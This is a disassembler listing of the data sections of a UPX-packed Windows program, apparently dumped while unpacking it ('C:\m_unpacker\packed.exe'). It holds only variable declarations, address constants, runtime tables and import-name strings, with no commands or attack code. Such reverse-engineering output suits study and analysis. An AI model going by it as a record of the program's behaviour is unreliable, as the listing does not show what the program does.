dword_43C5BC dd 71AB157Eh ; DATA XREF: sub_40981A+65Aw
; sub_40981A+786r ...
dword_43C5C0 dd 71AB3E5Dh ; DATA XREF: sub_402DCE+20Ar
; sub_4030DF+5Er ...
dword_43C5C4 dd 71AB14DCh ; DATA XREF: sub_40267F+16Er
; sub_40981A+549w ...
dword_43C5C8 dd 0CC0004h ; DATA XREF: sub_40981A+8BDw
; sub_40981A:loc_40A0F5w ...
dword_43C5CC dd 0AA8CC0h ; DATA XREF: sub_40981A+28Bw
; sub_40981A+2C6r ...
dword_43C5D0 dd 71ABD755h ; DATA XREF: sub_407D53+98r
; sub_40981A+681w ...
dword_43C5D4 dd 77DF7311h ; DATA XREF: sub_40981A+30Fw
; sub_40981A+323r ...
dword_43C5D8 dd 77DDA2AFh ; DATA XREF: sub_40981A+395w
; sub_40981A+3D1r ...
dword_43C5DC dd 1F7CD927h ; DATA XREF: sub_40981A+BD2w
; sub_40981A+C08r
dword_43C5E0 dd 76206853h ; DATA XREF: sub_40981A+7FAw
; sub_40981A+86Ar ...
dword_43C5E4 dd 77D4932Ch ; DATA XREF: sub_40239E+FCr
; sub_40981A+206w ...
dword_43C5E8 dd 77D5E310h ; DATA XREF: sub_40981A+18Cw
; sub_40981A+1D2r ...
dword_43C5EC dd 76206B7Fh ; DATA XREF: sub_40981A+814w
; sub_40981A+87Ar ...
dword_43C5F0 dd 71AB1444h ; DATA XREF: sub_406C0B+244r
; sub_40981A+606w ...
dword_43C5F4 dd 77DD189Ah ; DATA XREF: sub_408C13+19Br
; sub_40981A+2BFw ...
dword_43C5F8 dd 71AB3F8Dh ; DATA XREF: sub_4010B2+6Fr
; sub_401447+AAr ...
dword_43C5FC dd 77DD5D20h ; DATA XREF: sub_40981A+302w
; sub_40981A+316r ...
dword_43C600 dd 71AB1890h ; DATA XREF: sub_405AF0+F9r
; sub_406C0B+1FCr ...
dword_43C604 dd 77C76B34h ; DATA XREF: sub_4085A0+16r
; sub_40981A+42Ew ...
dword_43C608 dd 77D5E38Ch ; DATA XREF: sub_40981A+199w
; sub_40981A+1DAr ...
dword_43C60C dd 77DDA20Bh ; DATA XREF: sub_40981A+347w
; sub_40981A+39Cr ...
dword_43C610 dd 76F36EEBh ; DATA XREF: sub_40981A+A73w
dword_43C614 dd 71AB12A7h ; DATA XREF: sub_4010B2+EBr
; sub_4010B2+1F9r ...
dword_43C618 dd 71AB1746h ; DATA XREF: sub_4010B2+87r
; sub_4010B2+9Dr ...
dword_43C61C dd 77EBA595h ; DATA XREF: sub_40981A+4Bw
; sub_40981A+C2r ...
dword_43C620 dd 77C7531Dh ; DATA XREF: sub_4085A0+2Cr
; sub_4085A0+38r ...
dword_43C624 dd 77D4BDCAh ; DATA XREF: sub_40981A+165w
; sub_40981A+1BAr ...
dword_43C628 dd 71C3516Ah ; DATA XREF: sub_40981A+9E1w
; sub_40E5CD+72r
dword_43C62C dd 71AB32CAh ; DATA XREF: sub_40981A+667w
; sub_40981A+78Er
dword_43C630 dd 71AB5690h ; DATA XREF: sub_40267F+205r
; sub_402DCE+23Br ...
dword_43C634 dd 1F7CB8F8h ; DATA XREF: sub_40981A+BECw
; sub_40981A+C18r
dword_43C638 dd 77EBB1E7h ; DATA XREF: sub_40981A+3Ew
; sub_40981A+BAr ...
dword_43C63C dd 77DD59F0h ; DATA XREF: sub_40981A+298w
; sub_40981A+2CEr ...
dword_43C640 dd 71AB5DE2h ; DATA XREF: sub_405AF0+9Er
; sub_407BCB+9Cr ...
dword_43C644 dd 71AB3ECEh ; DATA XREF: sub_40267F+EBr
; sub_405AF0+89r ...
dword_43C648 dd 73B81B0Fh ; DATA XREF: sub_40981A+C63w
; sub_40EE51+4626r
dword_43C64C dd 76204E4Dh ; DATA XREF: sub_40981A+85Bw
; sub_40BC4D+205r ...
dword_43C650 dd 0 ; DATA XREF: sub_40981A+112w
dword_43C654 dd 1F7D886Ah ; DATA XREF: sub_40981A+BB8w
; sub_40981A+BF3r
dword_43C658 dd 71AB12F8h ; DATA XREF: sub_401447+119r
; sub_401447+1A0r ...
dword_43C65C dd 77C76551h ; DATA XREF: sub_4085A0+BCr
; sub_40981A+43Bw ...
dword_43C660 dd 77C729E2h ; DATA XREF: sub_4085A0+FBr
; sub_40981A+47Cw ...
dword_43C664 dd 77C7212Fh ; DATA XREF: sub_4085A0+65r
; sub_40981A+448w ...
dword_43C668 dd 71AB1AF4h ; DATA XREF: sub_402DCE+221r
; sub_402DCE+249r ...
dword_43C66C dd 77D5E303h ; DATA XREF: sub_40981A+1A6w
; sub_40981A+1E2r ...
dword_43C670 dd 71C4576Ch ; DATA XREF: sub_40981A+9D4w
; sub_40981A+A28r ...
dword_43C674 dd 77D4702Fh ; DATA XREF: sub_4087DB+53r
; sub_4087DB+7Fr ...
dword_43C678 dd 77E6C0E3h ; DATA XREF: sub_40981A+8Cw
; sub_40981A+E2r ...
dword_43C67C dd 71AB1ED3h ; DATA XREF: sub_4010B2+2C2r
; sub_401447+2DAr ...
dword_43C680 dd 71B2A381h ; DATA XREF: sub_40981A+B14w
; sub_40981A+B30r
dword_43C684 dd 77DDA595h ; DATA XREF: sub_40981A+31Cw
; sub_41510E+55r
dword_43C688 dd 77DD22EAh ; DATA XREF: sub_408C13+3Fr
; sub_40981A+27Ew ...
dword_43C68C dd 773F97B0h ; DATA XREF: sub_40981A+B7Bw
dword_43C690 dd 76D67A29h ; DATA XREF: sub_40981A+ABDw
; sub_40ADFD+CEr
dword_43C694 dd 76D674FAh ; DATA XREF: sub_40981A+AB0w
; sub_40981A+AB7r ...
dword_43C698 dd 71AB3C22h ; DATA XREF: sub_401447+2Er
; sub_401D79+55r ...
dword_43C69C dd 71AB2BBFh ; DATA XREF: sub_407D53+88r
; sub_40981A+674w ...
dword_43C6A0 dd 1F7BA3A9h ; DATA XREF: sub_40981A+BC5w
; sub_40981A+C00r
dword_43C6A4 dd 71AB401Ch ; DATA XREF: sub_40267F+28Dr
; sub_406C0B+250r ...
dword_43C6A8 dd 71C214BAh ; DATA XREF: sub_40981A+993w
; sub_40981A+A00r ...
dword_43C6AC dd 71AB868Dh ; DATA XREF: sub_405AF0+13Ar
; sub_407BCB+B3r ...
dword_43C6B0 dd 71AB1A6Dh ; DATA XREF: sub_4010B2+324r
; sub_401447+2F0r ...
dword_43C6B4 dd 71AB155Ah ; DATA XREF: sub_405AF0+B7r
; sub_405AF0+39Fr ...
dword_43C6B8 dd 71B22C25h ; DATA XREF: sub_4029E0+B0r
; sub_4029E0+C8r ...
dword_43C6BC dd 71AB5A01h ; DATA XREF: sub_4010B2+4Fr
; sub_401A6D+4Fr ...
dword_43C6C0 dd 71B2ACCBh ; DATA XREF: sub_40981A+AFAw
; sub_40981A+B1Br
dword_43C6C4 dd 77E78C17h ; DATA XREF: sub_40981A+31w
; sub_40981A+ADr ...
dword_43C6C8 dd 77D49A11h ; DATA XREF: sub_4087DB+1ECr
; sub_4089D4+232r ...
align 10h
dword_43C6D0 dd 76D62A37h ; DATA XREF: sub_40981A+909w
; sub_40981A+91Dr ...
dword_43C6D4 dd 77E6CBF9h ; DATA XREF: sub_40981A+99w
; sub_40981A+EAr ...
dword_43C6D8 dd 0 ; DATA XREF: sub_40981A:loc_409918w
; sub_40981A+12Bw ...
dword_43C6DC dd 0 ; DATA XREF: sub_40981A+126w
; sub_40A4A7+1Cr
dword_43C6E0 dd 0 ; DATA XREF: sub_40981A:loc_409A08w
; sub_40981A:loc_409A6Fw ...
dword_43C6E4 dd 0 ; DATA XREF: sub_40981A+250w
; sub_40A4A7+50r
dword_43C6E8 dd 0 ; DATA XREF: sub_40981A:loc_409B04w
; sub_40981A:loc_409B49w ...
dword_43C6EC dd 0 ; DATA XREF: sub_40981A+400w
; sub_40A4A7+84r
dword_43C6F0 dd 0 ; DATA XREF: sub_40981A:loc_409D00w
; sub_40A4A7:loc_40A557r
dword_43C6F4 dd 0 ; DATA XREF: sub_40981A+4E1w
; sub_40A4A7+B8r
dword_43C6F8 dd 0 ; DATA XREF: sub_40981A:loc_409FD1w
; sub_40A4A7:loc_40A58Br
dword_43C6FC dd 0 ; DATA XREF: sub_40981A+7B2w
; sub_40A4A7+ECr
dword_43C700 dd 0 ; DATA XREF: sub_40981A:loc_40A0BCw
; sub_40981A+8D1w ...
dword_43C704 dd 0 ; DATA XREF: sub_40981A+8CCw
; sub_40A4A7+120r
dword_43C708 dd 0 ; DATA XREF: sub_40981A:loc_40A150w
; sub_40A4A7:loc_40A5F3r ...
dword_43C70C dd 0 ; DATA XREF: sub_40981A+931w
; sub_40A4A7+154r
dword_43C710 dd 0 ; DATA XREF: sub_40981A:loc_40A25Bw
; sub_40A4A7:loc_40A627r ...
dword_43C714 dd 0 ; DATA XREF: sub_40981A+A3Cw
; sub_40A4A7+188r
dword_43C718 dd 0 ; DATA XREF: sub_40981A:loc_40A2A5w
; sub_40A4A7:loc_40A65Br
dword_43C71C dd 0 ; DATA XREF: sub_40981A+A86w
; sub_40A4A7+1BCr
dword_43C720 dd 0 ; DATA XREF: sub_40981A:loc_40A2EFw
; sub_40A4A7:loc_40A68Fr
dword_43C724 dd 0 ; DATA XREF: sub_40981A+AD0w
; sub_40A4A7+1F0r
dword_43C728 dd 0 ; DATA XREF: sub_40981A:loc_40A363w
; sub_40A4A7:loc_40A6C3r
dword_43C72C dd 0 ; DATA XREF: sub_40981A+B44w
; sub_40A4A7+224r
dword_43C730 dd 0 ; DATA XREF: sub_40981A:loc_40A3ADw
; sub_40A4A7:loc_40A6F7r
dword_43C734 dd 0 ; DATA XREF: sub_40981A+B8Ew
; sub_40A4A7+258r
dword_43C738 dd 0 ; DATA XREF: sub_40981A:loc_40A44Bw
; sub_40A4A7:loc_40A72Br
dword_43C73C dd 0 ; DATA XREF: sub_40981A+C2Cw
; sub_40A4A7+28Cr
dword_43C740 dd 0 ; DATA XREF: sub_40981A:loc_40A495w
; sub_40A4A7:loc_40A75Fr
dword_43C744 dd 0 ; DATA XREF: sub_40981A+C76w
; sub_40A4A7+2C0r
; char byte_43C748[]
byte_43C748 db 204h dup(0) ; DATA XREF: sub_40AA30+6Ao
; char byte_43C94C[]
byte_43C94C db 14h dup(0) ; DATA XREF: sub_40AEDB+32o
dword_43C960 dd 0 ; DATA XREF: sub_40B323:loc_40B344r
; sub_40B412+54r ...
dword_43C964 dd 0 ; DATA XREF: sub_40B323r
; sub_40B412+37r ...
dword_43C968 dd 0 ; DATA XREF: sub_40B353+1Ar
; sub_40B567+83o
dword_43C96C dd 0 ; DATA XREF: sub_40B323:loc_40B337r
; sub_40B567+11Bw
; char byte_43C970[]
byte_43C970 db 34h dup(0) ; DATA XREF: sub_40B412+13o
; sub_40B567:loc_40B6A4o
; int dword_43C9A4
dword_43C9A4 dd 0 ; DATA XREF: sub_40B412+CDr
; sub_40B412+ECr ...
dd 0
; char byte_43C9AC[]
byte_43C9AC db 38h dup(0) ; DATA XREF: sub_40B71C+47o
; char byte_43C9E4[]
byte_43C9E4 db 3660h dup(0) ; DATA XREF: sub_40BF6F+1Do
; sub_40C00Fo ...
dword_440044 dd 268h dup(0) ; DATA XREF: .data:off_4ED374o
; char byte_4409E4[]
byte_4409E4 db 4 dup(0) ; DATA XREF: sub_40BF6F+13o
; sub_40C00F+Eo ...
dword_4409E8 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo
dword_440A20 dd 2 dup(0) ; DATA XREF: sub_40D39C+C8o
; char byte_440A28[]
byte_440A28 db 5Ch dup(0) ; DATA XREF: sub_40D834:loc_40D951o
; sub_40D834+131o ...
; char byte_440A84[]
byte_440A84 db 200h dup(0) ; DATA XREF: sub_40E5CD+7Co
; sub_40E5CD+A5o
dword_440C84 dd 0 ; DATA XREF: sub_40DBAE+45w
; sub_40DBAE+4Dr ...
; char byte_440C88[]
byte_440C88 db 5Ch dup(0) ; DATA XREF: sub_40E499:loc_40E5BBo
; sub_40E499+12Do
; char byte_440CE4[]
byte_440CE4 db 200h dup(0) ; DATA XREF: sub_40DAEF+4Bo
; sub_40DAEF+7Do ...
byte_440EE4 db 0 ; DATA XREF: sub_40DBAE+29r
; sub_40DBAE+34w
align 4
; char byte_440EE8[]
byte_440EE8 db 200h dup(0) ; DATA XREF: sub_40DE05+61o
; sub_40DE05+88o ...
; char byte_4410E8[]
byte_4410E8 db 208h dup(0) ; DATA XREF: sub_40D70B+33o
; sub_40D70B+50o ...
; char Str1[]
Str1 dd 0 ; DATA XREF: sub_40BE77+Ao
; sub_40BE77+44r ...
dd 5 dup(0)
dword_441308 dd 0 ; DATA XREF: sub_40BE77+60r
; sub_40EE51+BC7r
dd 2D9h dup(0)
dword_441E70 dd 0 ; DATA XREF: sub_407758+A5r
; sub_40BE77+2Do ...
dd 7Fh dup(0)
dword_442070 dd 0 ; DATA XREF: sub_416D48+41w
; sub_416E83+40w ...
dword_442074 dd 0 ; DATA XREF: sub_4060CD+234w
; sub_407758:loc_40779Fr ...
dword_442078 dd 0 ; DATA XREF: sub_40B567+164w
; sub_4167FC+AEw ...
dword_44207C dd 0 ; DATA XREF: sub_40267F+E0w
; sub_405AF0+7Ew ...
dword_442080 dd 0 ; DATA XREF: sub_407D53+11Ew
; sub_407F3A+53r ...
dword_442084 dd 0 ; DATA XREF: sub_4060CD+261w
; sub_407243+122w ...
byte_442088 db 0 ; DATA XREF: sub_40EB71+91o
; sub_40EE51+3371r ...
align 4
dd 0DB1h dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: UPX0:off_4292D0o
db 0
byte_45004D db 3 dup(0) ; DATA XREF: UPX0:0042BCA8o
dd 8BECh dup(0)
UPX0 ends
; Section 2. (virtual address 00073000)
; Virtual size : 00019000 ( 102400.)
; Section size in file : 00019000 ( 102400.)
; Offset to raw data for section: 00073000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
UPX1 segment para public 'CODE' use32
assume cs:UPX1
;org 473000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_473000 dd 4F00h dup(0) ; DATA XREF: UPX1:0048B741o
dword_486C00 dd 1Ah ; DATA XREF: sub_407102:loc_407170r
; sub_40E68B+3Aw ...
align 8
dword_486C08 dd 0 ; DATA XREF: sub_40E68B:loc_40EA83o
; char byte_486C0C[]
byte_486C0C db 80h dup(0) ; DATA XREF: sub_40E68B+390o
; sub_40E68B+449o ...
; char byte_486C8C[]
byte_486C8C db 40h dup(0) ; DATA XREF: sub_40E68B+3A7o
; sub_40EE51+91Do
; char byte_486CCC[]
byte_486CCC db 90h dup(0) ; DATA XREF: sub_40E68B+3BEo
dword_486D5C dd 0 ; DATA XREF: sub_40E68B+3B2w
; sub_40E68B+460w ...
dword_486D60 dd 0 ; DATA XREF: sub_40E68B+3D1w
align 10h
dword_486D70 dd 0 ; DATA XREF: sub_40E68B+13Ar
; int dword_486D74
dword_486D74 dd 0 ; DATA XREF: sub_40EB71+72r
; sub_40EE51+276r
dd 0
byte_486D7C db 0 ; DATA XREF: sub_40ECD9+28r
; sub_40ECD9+30o
align 10h
dword_486D80 dd 0 ; DATA XREF: sub_40E68B+3FDw
; sub_40E68B+414r ...
dword_486D84 dd 0 ; DATA XREF: sub_40E68B+395w
; sub_40EE51+8C1r
align 10h
dword_486D90 dd 0 ; DATA XREF: sub_41546F+146r
align 8
; char byte_486D98[]
byte_486D98 db 68h dup(0) ; DATA XREF: sub_415D59+8Do
dword_486E00 dd 0 ; DATA XREF: sub_416F90+16o
; sub_416FAF+19o
dword_486E04 dd 66h dup(0) ; DATA XREF: sub_416F43+3Do
byte_486F9C db 0 ; DATA XREF: sub_416C41+6Ar
; sub_416C41+98w
align 10h
dd 2 dup(0)
dword_486FA8 dd 0 ; DATA XREF: __fpmath+Aw
align 10h
dword_486FB0 dd 0 ; DATA XREF: _time+5Er _time+A4w
align 8
word_486FB8 dw 0 ; DATA XREF: _time+55r _time+9Ao
word_486FBA dw 0 ; DATA XREF: _time+48r
db 2 dup(0)
word_486FBE dw 0 ; DATA XREF: _time+3Br
word_486FC0 dw 0 ; DATA XREF: _time+2Er
word_486FC2 dw 0 ; DATA XREF: _time+21r
align 8
dword_486FC8 dd 0 ; DATA XREF: _strtok+3Br _strtok+91w
dword_486FCC dd 0 ; DATA XREF: _strtoxl+1B9w
; _fseek:loc_418CFAw ...
dword_486FD0 dd 0 ; DATA XREF: sub_4195E9+35w
; __close:loc_41A541w ...
dword_486FD4 dd 0 ; DATA XREF: __sopen+13Ar
dword_486FD8 dd 0A28h ; DATA XREF: _WinMainCRTStartup+52w
dword_486FDC dd 501h ; DATA XREF: _WinMainCRTStartup+49w
dword_486FE0 dd 5 ; DATA XREF: _WinMainCRTStartup+3Ew
dword_486FE4 dd 1 ; DATA XREF: _WinMainCRTStartup+30w
dword_486FE8 dd 1 ; DATA XREF: sub_40E68B:loc_40E96Br
; __setargv+91w
dword_486FEC dd 0FB0B00h ; DATA XREF: sub_40E68B+2E9r
; sub_40E68B+309r ...
dd 0
; void *dword_486FF4
dword_486FF4 dd 0FB0A80h ; DATA XREF: __setenvp+44w _getenv+9r ...
dword_486FF8 dd 0 ; DATA XREF: ___crtsetenv+36r
dword_486FFC dd 0 ; DATA XREF: _getenv+16r
; ___wtomb_environ+4r ...
dd 0
off_487004 dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_48700C db 0 ; DATA XREF: _doexit+2Dw
; ___endstdio+5r
align 10h
dword_487010 dd 0 ; DATA XREF: _doexit+27w
dword_487014 dd 0 ; DATA XREF: _doexit+4r _doexit+8Bw
; char *dword_487018
dword_487018 dd 0 ; DATA XREF: _WinMainCRTStartup+84w
; __setenvp:loc_41E70Cr ...
align 10h
dword_487020 dd 0 ; DATA XREF: __amsg_exitr
; _fast_error_exitr ...
dword_487024 dd 0 ; DATA XREF: __stbuf+37r
dd 0
dword_48702C dd 0 ; DATA XREF: _mallocr
; _realloc:loc_4194BBr ...
dword_487030 dd 0 ; DATA XREF: __callnewhr
dword_487034 dd 0 ; DATA XREF: __cftoe+11r __cftof+1Ar ...
byte_487038 db 0 ; DATA XREF: __cftoe+3r __cftoe+98r ...
align 4
dword_48703C dd 0 ; DATA XREF: __cftof+11r __cftog+21w ...
byte_487040 db 0 ; DATA XREF: __cftog+51w
align 4
dword_487044 dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+4Er
; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+3Ar ...
dword_487048 dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+5Cr
; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+43r ...
dword_48704C dd 0 ; DATA XREF: _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *)+7Ar
; FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *)+5r
dword_487050 dd 0 ; DATA XREF: sub_41CA7C+29r
dword_487054 dd 2 dup(0) ; DATA XREF: unknown_libname_4+Co
; int dword_48705C
dword_48705C dd 0 ; DATA XREF: __strupr+4r __strupr+6Er ...
dd 3 dup(0)
dword_48706C dd 0 ; DATA XREF: _mbstowcs+61r
; _mbstowcs+BFr ...
dd 0
dword_487074 dd 1 ; DATA XREF: ___crtLCMapStringA+28r
; ___crtLCMapStringA+4Cw ...
dword_487078 dd 1 ; DATA XREF: __setmbcp:loc_41E01Br
; _getSystemCP+4w ...
dword_48707C dd 0 ; DATA XREF: __XcptFilter+3Ar
; __XcptFilter+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_41E7CAo
; UPX1:off_487004o
align 4
dd 3Ah dup(0)
dword_487184 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r
; ___crtGetEnvironmentStringsA+23w ...
dword_487188 dd 0 ; DATA XREF: __FF_MSGBANNER+21r
dword_48718C dd 0 ; DATA XREF: __stbuf:loc_41A6BBw
; __openfile+154w ...
dword_487190 dd 1 ; DATA XREF: ___crtGetStringTypeA+26r
; ___crtGetStringTypeA:loc_41F141w
dword_487194 dd 0 ; DATA XREF: __openfile+7r
word_487198 dw 0 ; DATA XREF: __fltout+1Ao __fltout+46r
byte_48719A db 0 ; DATA XREF: __fltout+39r
align 4
dword_48719C dd 7 dup(0) ; DATA XREF: __fltout+52o
dword_4871B8 dd 0 ; DATA XREF: __fltout+40w __fltout+5Co
dword_4871BC dd 0 ; DATA XREF: __fltout+4Dw
dword_4871C0 dd 0 ; DATA XREF: __fltout+31w
dword_4871C4 dd 0 ; DATA XREF: __fltout+52w
; int (__stdcall *dword_4871C8)()
dword_4871C8 dd 0AA3203h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_41FE05r
; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+38r ...
align 10h
dword_4871D0 dd 0 ; DATA XREF: __tzset+11w __tzset+63w ...
align 8
dword_4871D8 dd 0 ; DATA XREF: __tzset+33o __tzset+46r
dword_4871DC dd 10h dup(0) ; DATA XREF: __tzset+C1o
word_48721C dw 0 ; DATA XREF: __isindst+A8r
word_48721E dw 0 ; DATA XREF: __tzset+54r __isindst+DBr ...
word_487220 dw 0 ; DATA XREF: __isindst+CAr
word_487222 dw 0 ; DATA XREF: __isindst+D3r
; __isindst:loc_420212r
word_487224 dw 0 ; DATA XREF: __isindst+C0r
word_487226 dw 0 ; DATA XREF: __isindst+B8r
word_487228 dw 0 ; DATA XREF: __isindst+B0r
word_48722A dw 0 ; DATA XREF: __isindst+9Er
dword_48722C dd 0 ; DATA XREF: __tzset+4Br
dword_487230 dd 10h dup(0) ; DATA XREF: __tzset+FBo
word_487270 dw 0 ; DATA XREF: __isindst+46r
word_487272 dw 0 ; DATA XREF: __tzset:loc_41FF39r
; __isindst+78r ...
word_487274 dw 0 ; DATA XREF: __isindst+67r
word_487276 dw 0 ; DATA XREF: __isindst+70r
; __isindst:loc_4201A4r
word_487278 dw 0 ; DATA XREF: __isindst+5Dr
word_48727A dw 0 ; DATA XREF: __isindst+55r
word_48727C dw 0 ; DATA XREF: __isindst+4Dr
word_48727E dw 0 ; DATA XREF: __isindst+3Er
dword_487280 dd 0 ; DATA XREF: __tzset+80r
; char *dword_487284
dword_487284 dd 0 ; DATA XREF: __tzset+132r
; __tzset:loc_42000Er ...
dword_487288 dd 0 ; DATA XREF: ___tzsetr ___tzset+Ew
dword_48728C dd 0 ; DATA XREF: ___crtMessageBoxA+3r
; ___crtMessageBoxA+2Ew ...
dword_487290 dd 0 ; DATA XREF: ___crtMessageBoxA+43w
; ___crtMessageBoxA:loc_42061Er
dword_487294 dd 0 ; DATA XREF: ___crtMessageBoxA+4Aw
; ___crtMessageBoxA+60r
dword_487298 dd 0 ; DATA XREF: __sopen+3Fr
dword_48729C dd 0 ; DATA XREF: _raise:loc_4211DFr
; _raise+6Do
dword_4872A0 dd 0 ; DATA XREF: _raise:loc_4211B6r
; _raise+44o
dword_4872A4 dd 0 ; DATA XREF: _raise:loc_4211A9r
; _raise+37o
dword_4872A8 dd 0 ; DATA XREF: _raise:loc_4211C3r
; _raise+51o
align 10h
dword_4872B0 dd 0 ; DATA XREF: ___crtCompareStringA+28r
; ___crtCompareStringA+48w ...
dword_4872B4 dd 0 ; DATA XREF: ___crtLCMapStringW+28r
; ___crtLCMapStringW+4Cw ...
dword_4872B8 dd 0 ; DATA XREF: ___crtGetStringTypeW+26r
; ___crtGetStringTypeW:loc_42247Dw
byte_4872BC db 1 ; DATA XREF: unknown_libname_1r
; unknown_libname_1+9w
align 10h
dword_4872C0 dd 0FA4968h ; DATA XREF: _flsall:loc_41A636r
; __getstream+14r ...
dd 7 dup(0)
dword_4872E0 dd 400h dup(0) ; DATA XREF: UPX0:off_438C68o
; UPX0:00438C70o
; size_t NumOfElements
NumOfElements dd 200h ; DATA XREF: _flsall+9r _flsall+56r ...
dd 7 dup(0)
dword_488300 dd 0FB0EF0h ; DATA XREF: __flsbuf+B1r __filbuf+75r ...
dword_488304 dd 3Fh dup(0) ; DATA XREF: __ioinit+92o
dword_488400 dd 20h ; DATA XREF: __close+8r __read+Cr ...
dword_488404 dd 4E4h ; DATA XREF: __setmbcp+14r
; __setmbcp+65w ...
align 10h
dword_488410 dd 3 dup(0) ; DATA XREF: __setmbcp+123o
; __setmbcp+171o ...
dword_48841C dd 0 ; DATA XREF: __setmbcp+108w
; __setmbcp+15Dw ...
byte_488420 db 0 ; DATA XREF: _setSBUpLow:loc_41E1EBw
; _setSBUpLow:loc_41E208w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_488520 db 0 ; DATA XREF: __setmbcp+5Co
; __setmbcp+AFo ...
byte_488521 db 0 ; DATA XREF: __splitpath+5Dr
; __setmbcp+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_488624 dd 0 ; DATA XREF: __setmbcp+6Ew
; __setmbcp+12Bw ...
dword_488628 dd 10h ; DATA XREF: ___sbh_heap_init+32w
; ___sbh_alloc_new_region+5r ...
dword_48862C dd 0 ; DATA XREF: ___sbh_free_block+239r
; ___sbh_free_block+259r ...
dword_488630 dd 0FA0650h ; DATA XREF: ___sbh_heap_init+2Dw
; ___sbh_free_block+310w ...
; void *Dst
Dst dd 0 ; DATA XREF: ___sbh_heap_init:loc_41A9B8w
; ___sbh_free_block+22Cr ...
dword_488638 dd 1 ; DATA XREF: ___sbh_heap_init+24w
; ___sbh_find_blockr ...
dword_48863C dd 0FA0650h ; DATA XREF: ___sbh_heap_init+15w
; ___sbh_find_block+8r ...
dword_488640 dd 0FA0000h ; DATA XREF: __heap_alloc+28r
; _free+21r ...
dword_488644 dd 142340h ; DATA XREF: _WinMainCRTStartup+7Aw
; __wincmdln+Fr ...
dword_488648 dd 1 ; DATA XREF: __setenvp+ADw _getenvr
dword_48864C dd 1 ; DATA XREF: ___initmbctabler
; ___initmbctable+11w ...
dword_488650 dd 0FB0E64h ; DATA XREF: __onexit+13r
; __onexit:loc_4185C5r ...
; void *Memory
Memory dd 0FB0E60h ; DATA XREF: __onexit+1r __onexit+Cr ...
dd 66Ah dup(0)
dd 70h, 22000h, 70614D01h, 77656956h, 6946664Fh, 100656Ch
dd 50746547h, 65636F72h, 65487373h, 1007061h
aSetenvironment db 'SetEnvironmentVariableA',0
dd 6D6F4301h, 65726170h, 69727453h, 57676Eh, 6D6F4301h
dd 65726170h, 69727453h, 41676Eh, 74655301h, 4F646E45h
dd 6C694666h, 49010065h, 64614273h, 65646F43h, 727450h
dd 42734901h, 65526461h, 74506461h, 53010072h, 6E557465h
dd 646E6168h, 4564656Ch, 70656378h, 6E6F6974h, 746C6946h
dd 1007265h, 73756C46h, 6C694668h, 66754265h, 73726566h
dd 65530100h, 64745374h, 646E6148h, 100656Ch, 53746547h
dd 6E697274h, 70795467h, 1005765h, 53746547h, 6E697274h
dd 70795467h, 1004165h, 46746547h, 54656C69h, 657079h
dd 74654701h, 48647453h, 6C646E61h, 53010065h, 61487465h
dd 656C646Eh, 6E756F43h, 47010074h, 6E457465h, 6F726976h
dd 6E656D6Eh, 72745374h, 73676E69h, 47010057h, 6E457465h
dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 72460100h
dd 6E456565h, 6F726976h, 6E656D6Eh, 72745374h, 73676E69h
dd 46010057h, 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh
dd 676E6972h, 1004173h, 74697845h, 65726854h, 1006461h
dd 54746547h, 436B6369h, 746E756Fh, 75510100h, 50797265h
dd 6F667265h, 6E616D72h, 6F436563h, 65746E75h, 51010072h
dd 79726575h, 66726550h, 616D726Fh, 4665636Eh, 75716572h
dd 79636E65h, 6C530100h, 706565h, 74654701h, 74737953h
dd 69446D65h, 74636572h, 4179726Fh, 65470100h, 636F4C74h
dd 69546C61h, 100656Dh, 746C754Dh, 74794269h, 576F5465h
dd 43656469h, 726168h, 61655201h, 6C694664h, 43010065h
dd 65736F6Ch, 646E6148h, 100656Ch, 74697257h, 6C694665h
